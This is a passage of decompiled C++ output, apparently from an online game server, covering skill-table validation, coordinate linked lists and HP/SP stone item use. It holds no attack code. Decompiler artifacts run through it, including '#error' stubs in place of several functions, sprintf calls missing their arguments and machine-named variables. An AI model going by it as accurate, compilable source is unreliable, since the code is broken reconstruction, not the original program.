j + 620; j += 620; if ( v91 >= v94 ) goto LABEL_173; } *(_DWORD *)(v88 + 44) = v2->sdb_ValidArray[v91].sdi_Area.AreaCenter_X; *(_DWORD *)(v88 + 48) = v2->sdb_ValidArray[v91].sdi_Area.AreaCenter_Y; *(_DWORD *)(v88 + 52) = v2->sdb_ValidArray[v91].sdi_Area.AreaSize; *(_DWORD *)(v88 + 56) = v2->sdb_ValidArray[v91].sdi_Area.AreaSize_X; *(_DWORD *)(v88 + 60) = v2->sdb_ValidArray[v91].sdi_Area.AreaSize_Y; *(_DWORD *)(v88 + 64) = v2->sdb_ValidArray[v91].sdi_Area.AreaBMP; } LABEL_173: if ( !*(_DWORD *)(v88 + 64) && !SkillDataBox::AreaSkillBMPFileLoad(v2, (SkillDataBox::SkillDataIndex::AreaSkillInfo *)v88) ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : undefined error - data get error", 1); ShineExit("SkillDataBox::sdb_Load"); } } LABEL_177: ++i; } while ( i < (unsigned int)nAreaSkillNum ); } v95 = 0; if ( v2->sdb_MaxValid ) { v96 = 0; do { v97 = v2->sdb_ValidArray[v96].sdi_Activ; v98 = (int)v97->Name; do v99 = *(_BYTE *)v98++; while ( v99 ); v100 = v98 - (_DWORD)((char *)v97 + 35); if ( v97->InxName[v100 + 31] == 93 && v2->sdb_ValidArray[v96].sdi_Activ->Step != atoi(&v97->InxName[v100 + 29]) ) { sprintf(Msg, "Skill Name : %s(%s) : Invalid Step(%d)"); _DebugMessageNew(1, "Msg", "%s"); } ++v95; ++v96; } while ( v95 < v2->sdb_MaxValid ); } v101 = 0; if ( v2->sdb_MaxValid ) { v102 = v2->sdb_MaxValid; v103 = (int)&v2->sdb_ValidArray->sdi_Activ; do { if ( **(_WORD **)v103 < 0x2328u && v101 < *(_DWORD *)(*(_DWORD *)v103 + 205) ) v101 = *(_DWORD *)(*(_DWORD *)v103 + 205); v103 += 620; --v102; } while ( v102 ); if ( v101 ) { v104 = v101 + 1; nAreaSkillNum = (void *)v104; v105 = 0; v106 = malloc(4 * v104); if ( v104 ) { do { v107 = malloc(0x21u); *((_DWORD *)v106 + v105++) = v107; *(_BYTE *)v107 = 0; } while ( v105 < v104 ); } v108 = v2->sdb_MaxValid; i = 0; if ( v108 ) { j = 0; do { v109 = (int)((char *)&v2->sdb_ValidArray->sdi_Activ + j); v110 = *(_DWORD *)v109; if ( **(_WORD **)v109 < 0x2328u ) { v111 = *((_DWORD *)v106 + *(_DWORD *)(v110 + 205)); v112 = v111 + 1; do v113 = *(_BYTE *)v111++; while ( v113 ); v177 = v111 - v112; if ( v111 == v112 ) { v114 = *(_DWORD *)v109 + 2; v115 = *((_DWORD *)v106 + *(_DWORD *)(*(_DWORD *)v109 + 205)); do { v116 = *(_BYTE *)v114++; *(_BYTE *)v115++ = v116; } while ( v116 ); } else { v117 = v110 + 2; v118 = v117 + 1; do v119 = *(_BYTE *)v117++; while ( v119 ); strncmp( *((char **)v106 + *(_DWORD *)(*(_DWORD *)v109 + 205)), (char *)(*(_DWORD *)v109 + 2), v117 - v118 - 2); if ( v120 ) { sprintf(Msg, "Skill Name : %s Vs %s(%s) : Invalid DlyGroupNum(%d)"); _DebugMessageNew(1, "Msg", "%s"); } } } v33 = i++ + 1 < v2->sdb_MaxValid; j += 620; } while ( v33 ); } v121 = (int)nAreaSkillNum; v122 = 0; if ( nAreaSkillNum ) { do free(*((void **)v106 + v122++)); while ( v122 < v121 ); } free(v106); } } v123 = 0; if ( v2->sdb_MaxValid ) { v124 = 0; do { v125 = v2->sdb_ValidArray[v124].sdi_Activ; v126 = (int)v125->Name; do v127 = *(_BYTE *)v126++; while ( v127 ); v128 = v126 - (_DWORD)((char *)v125 + 35); if ( v125->InxName[v128 + 31] == 93 ) { if ( atoi(&v125->InxName[v128 + 29]) > 1 ) { strncmp( v2->sdb_ValidArray[v124].sdi_Activ->DemandSk, (char *)(*((_DWORD *)&v2->sdb_ValidArray[v124] - 154) + 2), 0x20u); if ( v129 ) { sprintf(Msg, "Skill Name : %s(%s) : Invalid DemandSk(%s)"); _DebugMessageNew(1, "Msg", "%s"); } } } v130 = v2->sdb_MaxValid; ++v123; ++v124; } while ( v123 < v130 ); if ( v130 ) { j = 0; v131 = 1; do { v132 = v2->sdb_ValidArray; v133 = *(int *)((char *)&v132->sdi_Activ + j); v134 = (int)((char *)v132 + j); v135 = v133 + 34; nAreaSkillNum = (void *)(v133 + 35); do v136 = *(_BYTE *)v135++; while ( v136 ); v137 = v135 - (_DWORD)nAreaSkillNum; if ( *(_BYTE *)(v133 + v137 + 33) == 93 ) { strncmp((char *)(v133 + 34), (char *)(*(_DWORD *)(v134 + 624) + 34), v137 - 4); if ( !v138 ) { if ( (*(ActiveSkillInfo **)((char *)&v2->sdb_ValidArray->sdi_Activ + j))->SP > (*(ActiveSkillInfo **)((char *)&v2->sdb_ValidArray[1].sdi_Activ + j))->SP ) { sprintf(Msg, "Skill Name : %s(%s) : Invalid SP(%d-%d, %d-%d)"); _DebugMessageNew(1, "Msg", "%s"); } } } v139 = v2->sdb_MaxValid; ++v131; j += 620; } while ( v131 - 1 < v139 ); } } v140 = v2->sdb_MaxValid; i = 0; if ( v140 ) { j = 0; do { v141 = v2->sdb_ValidArray; v142 = *(int *)((char *)&v141->sdi_Activ + j); v143 = (int)((char *)v141 + j); if ( !v142 ) { AssertClass::ac_AssertFail(&shineassert, "Null skll", i); exit(0); } v144 = v142 + 34; ChecknTX = 0; do v145 = *(_BYTE *)v144++; while ( v145 ); v146 = v144 - (v142 + 35); if ( *(_BYTE *)(v146 + v142 + 33) == 93 ) { strncmp((char *)(v142 + 34), (char *)(*(_DWORD *)(v143 + 624) + 34), v146 - 4); if ( !v147 ) ChecknTX = 1; } v148 = 1; v149 = 0; do { v150 = j; v151 = *(int *)((char *)&v2->sdb_ValidArray->sdi_Activ + j); if ( *(_DWORD *)(v151 + v149 + 441) && *(_DWORD *)(v151 + v149 + 441) > *(_DWORD *)(v151 + v149 + 445) ) { sprintf(Msg, "Skill Name : %s : Invalid Power(%d-%d, %d-%d)"); _DebugMessageNew(1, "Msg", "%s"); } if ( ChecknTX ) { v152 = v2->sdb_ValidArray; v153 = (*(ActiveSkillInfo **)((char *)&v152->sdi_Activ + v150))->nT0[v149 / 4]; v154 = (int)((char *)v152 + v150); if ( v153 ) { if ( v153 > *(_DWORD *)(*(_DWORD *)(v154 + 624) + v149 + 441) ) { sprintf(&string, "Skill Name : %s(%s) : Invalid Power(%d-%d, %d-%d)"); _DebugMessageNew(1, "Msg", "%s"); } } } v149 += 4; ++v148; } while ( v148 - 1 < 4 ); v155 = 1; v156 = 0; do { v157 = *(int *)((char *)&v2->sdb_ValidArray->sdi_Activ + v150); if ( *(_DWORD *)(v157 + v156 + 461) && *(_DWORD *)(v157 + v156 + 461) > *(_DWORD *)(v157 + v156 + 465) ) { sprintf(&v184, "Skill Name : %s : Invalid SP(%d-%d, %d-%d)"); _DebugMessageNew(1, "Msg", "%s"); } if ( ChecknTX ) { v158 = v2->sdb_ValidArray; v159 = (*(ActiveSkillInfo **)((char *)&v158->sdi_Activ + v150))->nT1[v156 / 4]; v160 = (int)((char *)v158 + v150); if ( v159 ) { if ( v159 > *(_DWORD *)(*(_DWORD *)(v160 + 624) + v156 + 461) ) { sprintf(&v182, "Skill Name : %s(%s) : Invalid SP(%d-%d, %d-%d)"); _DebugMessageNew(1, "Msg", "%s"); } } } v156 += 4; ++v155; } while ( v155 - 1 < 4 ); v161 = 1; v162 = 0; do { v163 = *(int *)((char *)&v2->sdb_ValidArray->sdi_Activ + v150); if ( *(_DWORD *)(v163 + v162 + 481) && *(_DWORD *)(v163 + v162 + 481) > *(_DWORD *)(v163 + v162 + 485) ) { sprintf(&v180, "Skill Name : %s : Invalid Delay Time(%d-%d, %d-%d)"); _DebugMessageNew(1, "Msg", "%s"); } if ( ChecknTX ) { v164 = v2->sdb_ValidArray; v165 = (*(ActiveSkillInfo **)((char *)&v164->sdi_Activ + v150))->nT2[v162 / 4]; v166 = (int)((char *)v164 + v150); if ( v165 ) { if ( v165 > *(_DWORD *)(*(_DWORD *)(v166 + 624) + v162 + 481) ) { sprintf(&v181, "Skill Name : %s(%s) : Invalid Delay Time(%d-%d, %d-%d)"); _DebugMessageNew(1, "Msg", "%s"); } } } v162 += 4; ++v161; } while ( v161 - 1 < 4 ); v167 = 1; v168 = 0; do { v169 = *(int *)((char *)&v2->sdb_ValidArray->sdi_Activ + v150); if ( *(_DWORD *)(v169 + v168 + 501) && *(_DWORD *)(v169 + v168 + 501) > *(_DWORD *)(v169 + v168 + 505) ) { sprintf(&v183, "Skill Name : %s : Invalid Cool Time(%d-%d, %d-%d)"); _DebugMessageNew(1, "Msg", "%s"); } if ( ChecknTX ) { v170 = v2->sdb_ValidArray; v171 = (*(ActiveSkillInfo **)((char *)&v170->sdi_Activ + v150))->nT3[v168 / 4]; v172 = (int)((char *)v170 + v150); if ( v171 ) { if ( v171 > *(_DWORD *)(*(_DWORD *)(v172 + 624) + v168 + 501) ) { sprintf(&v185, "Skill Name : %s(%s) : Invalid Cool Time(%d-%d, %d-%d)"); _DebugMessageNew(1, "Msg", "%s"); } } } v168 += 4; ++v167; } while ( v167 - 1 < 4 ); v33 = i++ + 1 < v2->sdb_MaxValid; j = v150 + 620; } while ( v33 ); } __security_check_cookie((unsigned int)&j ^ v186); } //----- (00555AF0) -------------------------------------------------------- char __cdecl SlantedCoordList::operator<(SlantedCoordList::CoordedNode *a, SlantedCoordList::CoordedNode *b) { SlantedCoordList::ObjectCoordNode *v2; // esi@1 int v3; // edi@1 v2 = b->cn_node; v3 = ((int (*)(void))a->cn_node->vfptr->ocn_Getlocation)(); return v3 - v2->vfptr->ocn_Getlocation(v2) < 0; } //----- (00555B20) -------------------------------------------------------- #error "555B20: undefined or illegal type '#593' (funcsize=4)" //----- (00555B30) -------------------------------------------------------- int __thiscall SlantedCoordList::ObjectXCoordNode::ocn_type(SlantedCoordList::ObjectXCoordNode *this) { return 88; } //----- (00555B40) -------------------------------------------------------- #error "555B40: undefined or illegal type '#593' (funcsize=4)" //----- (00555B50) -------------------------------------------------------- #error "555B50: undefined or illegal type '#593' (funcsize=4)" //----- (00555B60) -------------------------------------------------------- int __thiscall SlantedCoordList::ObjectYCoordNode::ocn_type(SlantedCoordList::ObjectYCoordNode *this) { return 89; } //----- (00555B70) -------------------------------------------------------- #error "555B70: undefined or illegal type '#593' (funcsize=4)" //----- (00555B80) -------------------------------------------------------- void __thiscall NPCAction::BallAction::_BallAction(SlantedCoordList::ObjectYCoordNode *this) { this->baseclass_0.vfptr = (SlantedCoordList::ObjectCoordNodeVtbl *)NPCAction::IAction::_vftable_; } // 673ACC: using guessed type int (*NPCAction__IAction___vftable_[6])(); //----- (00555B90) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::CoordedNode(SlantedCoordList::CoordedNode *this) { SlantedCoordList::CoordedNode *v1; // eax@1 v1 = this; this->cn_node = 0; v1->cn_next = v1; v1->cn_prev = v1; } //----- (00555BA0) -------------------------------------------------------- char __thiscall SlantedCoordList::CoordedNode::cn_AppendList(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chainlist) { SlantedCoordList::CoordedNode *v2; // ebx@1 SlantedCoordList::CoordedNode *v3; // esi@1 SlantedCoordList::ObjectCoordNodeVtbl *v4; // edx@1 SlantedCoordList::ObjectCoordNode *v5; // edi@1 SlantedCoordList::ObjectCoordNodeVtbl *v6; // eax@9 SlantedCoordList::ObjectCoordNode *v7; // edi@9 int v8; // ebp@9 int v9; // eax@9 SlantedCoordList::ObjectCoordNodeVtbl *v10; // edx@9 SlantedCoordList::CoordedNode *v11; // eax@11 SlantedCoordList::ObjectCoordNode *v12; // edi@12 int v13; // eax@12 SlantedCoordList::ObjectCoordNodeVtbl *v14; // edx@12 SlantedCoordList::CoordedNode *v15; // edi@14 SlantedCoordList::ObjectCoordNode *v16; // ebp@14 int v17; // eax@14 SlantedCoordList::ObjectCoordNodeVtbl *v18; // edx@14 SlantedCoordList::CoordedNode *v19; // eax@16 SlantedCoordList::ObjectCoordNodeVtbl *v20; // eax@20 SlantedCoordList::ObjectCoordNode *v21; // ebp@20 int v22; // eax@20 SlantedCoordList::ObjectCoordNodeVtbl *v23; // edx@20 int v24; // eax@23 int v26; // eax@34 FunctionEntarance *v27; // ecx@40 char v28; // al@42 FunctionEntarance _; // [sp+10h] [bp-1Ch]@1 int prv; // [sp+14h] [bp-18h]@9 int nxt; // [sp+18h] [bp-14h]@9 int v32; // [sp+1Ch] [bp-10h]@9 int v33; // [sp+28h] [bp-4h]@1 int chainlistc; // [sp+30h] [bp+4h]@1 signed int chainlista; // [sp+30h] [bp+4h]@9 signed int chainlistb; // [sp+30h] [bp+4h]@14 v2 = this; _.fe_FunctionCode = "SlantedCoordList::CoordedNode::cn_AppendList"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_AppendList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_AppendList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = chainlist; v4 = chainlist->cn_node->vfptr; v5 = v2->cn_node; v33 = 0; chainlistc = ((int (*)(void))v4->ocn_type)(); if ( v5->vfptr->ocn_type(v5) != chainlistc ) { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_AppendList : List between wrong type", 0); v33 = -1; LABEL_27: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_AppendList"); return 0; } if ( v2->cn_prev != v2 || v2->cn_next != v2 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : appendlink on object in list", 0); v33 = -1; goto LABEL_27; } if ( v3->cn_prev == v3 && v3->cn_next == v3 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : appendlink to not in list", 0); v33 = -1; goto LABEL_27; } v6 = v3->cn_node->vfptr; v7 = v2->cn_node; v8 = 0; nxt = 0; prv = 0; chainlista = 10000; v9 = ((int (*)(void))v6->ocn_Getlocation)(); v10 = v7->vfptr; v32 = v9; if ( v9 - v10->ocn_Getlocation(v7) > 0 ) { while ( 1 ) { --chainlista; if ( chainlista < 0 ) break; v11 = v3->cn_prev; if ( v3 == v11 ) { prv = v8; AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : Infinite Loop!!!", 0); goto LABEL_26; } v12 = v2->cn_node; v3 = v3->cn_prev; ++v8; v13 = ((int (*)(void))v11->cn_node->vfptr->ocn_Getlocation)(); v14 = v12->vfptr; v32 = v13; if ( v13 - v14->ocn_Getlocation(v12) <= 0 ) { prv = v8; goto LABEL_14; } } prv = v8; LABEL_26: v33 = -1; goto LABEL_27; } LABEL_14: v15 = v3->cn_next; v16 = v15->cn_node; chainlistb = 10000; v17 = ((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)(); v18 = v16->vfptr; v32 = v17; if ( v17 - v18->ocn_Getlocation(v16) > 0 ) { do { --chainlistb; if ( chainlistb < 0 ) goto LABEL_40; v19 = v15->cn_next; if ( v15 == v19 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : Infinite Loop!!!", 0); goto LABEL_40; } v3 = v3->cn_next; v15 = v15->cn_next; if ( v3->cn_next != v19 || v19->cn_prev != v3 ) AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_AppendList : Next & Prev split", 0); v20 = v2->cn_node->vfptr; ++nxt; v21 = v15->cn_node; v22 = ((int (*)(void))v20->ocn_Getlocation)(); v23 = v21->vfptr; v32 = v22; } while ( v22 - v23->ocn_Getlocation(v21) > 0 ); } v24 = !prv || !nxt; if ( AssertClass::operator__(&shineassert, v24, "CoordedNode::cn_AppendList : Pointer is wandering", 0) || !SlantedCoordList::CoordedNode::cn_IsValid(v3) || (v3->cn_next != v15 || v15->cn_prev != v3 ? (v26 = 0) : (v26 = 1), AssertClass::operator__(&shineassert, v26, "SlantedCoordList::CoordedNode::cn_AppendList : List damaged", 0) || !SlantedCoordList::CoordedNode::cn_IsValid(v15) || (v2->cn_prev = v3, v2->cn_next = v15, v15->cn_prev = v2, v3->cn_next = v2, !SlantedCoordList::CoordedNode::cn_IsValid(v3)) || !SlantedCoordList::CoordedNode::cn_IsValid(v2)) ) { LABEL_40: v33 = -1; v27 = &_; LABEL_41: FunctionEntarance::_FunctionEntarance(v27); return 0; } v28 = SlantedCoordList::CoordedNode::cn_IsValid(v15); v27 = &_; v33 = -1; if ( !v28 ) goto LABEL_41; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (00555EE0) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain) { SlantedCoordList::CoordedNode *v2; // esi@1 SlantedCoordList::CoordedNode *v3; // edi@1 SlantedCoordList::ObjectCoordNode *v4; // ebx@4 SlantedCoordList::ObjectCoordNode *v5; // ebx@15 SlantedCoordList::CoordedNode *v6; // ebx@16 int chaina; // [sp+20h] [bp+4h]@4 int chainb; // [sp+20h] [bp+4h]@15 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_MakeLink"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = chain; if ( chain == v2 ) { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink : List between same object", chain != v2); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } v4 = v2->cn_node; chaina = ((int (*)(void))chain->cn_node->vfptr->ocn_type)(); if ( v4->vfptr->ocn_type(v4) != chaina ) { AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink : List between wrong type", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } if ( v2->cn_prev != v2 || v3->cn_prev != v3 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_MakeLink : makelink on object in list", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } if ( v2->cn_next != v2 || v3->cn_next != v3 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_MakeLink : makelink on object in list", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } v5 = v3->cn_node; chainb = ((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)(); if ( chainb - v5->vfptr->ocn_Getlocation(v5) >= 0 ) { v6 = v3; } else { v6 = v2; v2 = v3; } if ( ((int (*)(void))v6->cn_node->vfptr->ocn_Getlocation)() || (_BYTE *)((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)() != &wholesaver.ws_savestore[89].gap119c8[4863] ) { AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink : invalid location", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } v6->cn_next = v2; v2->cn_prev = v6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink"); } //----- (00556090) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink2(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain) { SlantedCoordList::CoordedNode *v2; // esi@1 SlantedCoordList::CoordedNode *v3; // edi@1 SlantedCoordList::ObjectCoordNode *v4; // ebx@3 SlantedCoordList::CoordedNode *v5; // ebx@11 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v7; // [sp+1Ch] [bp-4h]@1 int chaina; // [sp+24h] [bp+4h]@3 v2 = this; _.fe_FunctionCode = "SlantedCoordList::CoordedNode::cn_MakeLink2"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_MakeLink2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = chain; v7 = 0; if ( chain == v2 ) { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink2 : List between same object", chain != v2); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); } else { v4 = chain->cn_node; chaina = ((int (*)(void))v2->cn_node->vfptr->ocn_type)(); if ( chaina == v4->vfptr->ocn_type(v4) ) { if ( v2->cn_prev == v2 && v3->cn_prev == v3 && v2->cn_next == v2 && v3->cn_next == v3 ) { if ( SlantedCoordList::operator<(v2, v3) ) { v5 = v2; v2 = v3; } else { v5 = v3; } if ( ((int (*)(void))v5->cn_node->vfptr->ocn_Getlocation)() || (_BYTE *)((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)() != &wholesaver.ws_savestore[89].gap119c8[4863] ) { AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink2 : invalid location", 0); } else { v5->cn_next = v2; v2->cn_prev = v5; } v7 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_MakeLink2 : makelink on object in list", 0); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); } } else { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink2 : List between wrong type", 0); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); } } } //----- (00556260) -------------------------------------------------------- #error "556260: undefined or illegal type '#593' (funcsize=96)" //----- (005563C0) -------------------------------------------------------- #error "5563C0: undefined or illegal type '#734' (funcsize=226)" //----- (005566C0) -------------------------------------------------------- #error "5566C0: undefined or illegal type '#593' (funcsize=84)" //----- (005567F0) -------------------------------------------------------- #error "5567F0: undefined or illegal type '#593' (funcsize=68)" //----- (005568E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneUse(void *this) { void *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ST10_4@1 int v5; // eax@1 int v6; // edx@1 unsigned int v7; // eax@1 unsigned __int16 v8; // di@1 int v9; // eax@1 int v10; // eax@2 signed int v11; // edx@4 int v12; // edi@4 unsigned int v13; // eax@4 int v14; // ecx@4 int v15; // ST04_4@6 int v16; // eax@6 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@1 int v18; // [sp+28h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HPStoneUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 20491; v3 = *((_WORD *)v1 + 2); v18 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v18) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v18) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 20, 8); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 16535) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v7 = clockwatch.cw_CurrTick + 70; --*(_WORD *)((char *)v1 + 32205); *((_DWORD *)v1 + 16534) = v7; v8 = (unsigned __int8)(*(int (__thiscall **)(void *))(v6 + 1236))(v1); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1176))(v1); if ( v8 > 0x96u ) v10 = *(_DWORD *)(v9 + 67672); else v10 = *(_DWORD *)(v9 + 4 * v8 + 67672); v11 = (signed int)((unsigned __int64)(*(_DWORD *)(v10 + 28) * *((_WORD *)v1 + 71351) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v12 = v11 + ((unsigned int)v11 >> 31); ShineObjectClass::ShinePlayer::sp_HPChangeCheck( v1, v11 + ((unsigned int)v11 >> 31), 1, (int)"ShineObjectClass::ShinePlayer::sp_HPStoneUse"); v13 = *((_DWORD *)v1 + 895); v14 = v12 + *(_DWORD *)((char *)v1 + 32209); *(_DWORD *)((char *)v1 + 32209) = v14; if ( v14 >= v13 ) *(_DWORD *)((char *)v1 + 32209) = v13; v15 = *(_DWORD *)((char *)v1 + 78); v16 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v16, v15, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneUse"); } //----- (00556AA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneUse(void *this) { void *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ST10_4@1 int v5; // eax@1 int v6; // edx@1 unsigned int v7; // eax@1 unsigned __int16 v8; // di@1 int v9; // eax@1 int v10; // eax@2 unsigned int v11; // edi@4 unsigned int v12; // eax@4 int v13; // ST04_4@6 int v14; // eax@6 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@1 int v16; // [sp+28h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SPStoneUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 20492; v3 = *((_WORD *)v1 + 2); v16 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v16) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 20, 10); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 16537) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v7 = clockwatch.cw_CurrTick + 70; --*(_WORD *)((char *)v1 + 32207); *((_DWORD *)v1 + 16536) = v7; v8 = (unsigned __int8)(*(int (__thiscall **)(void *))(v6 + 1236))(v1); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1176))(v1); if ( v8 > 0x96u ) v10 = *(_DWORD *)(v9 + 67672); else v10 = *(_DWORD *)(v9 + 4 * v8 + 67672); v11 = ((signed int)((unsigned __int64)(*(_DWORD *)(v10 + 40) * *((_WORD *)v1 + 71352) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(*(_DWORD *)(v10 + 40) * *((_WORD *)v1 + 71352) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31) + *(_DWORD *)((char *)v1 + 32213); v12 = *((_DWORD *)v1 + 896); *(_DWORD *)((char *)v1 + 32213) = v11; if ( v11 >= v12 ) *(_DWORD *)((char *)v1 + 32213) = v12; v13 = *(_DWORD *)((char *)v1 + 78); v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v14, v13, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneUse"); } //----- (00556C60) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::sp_PointStone_NotInit() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_PointStone_NotInit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_PointStone_NotInit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, 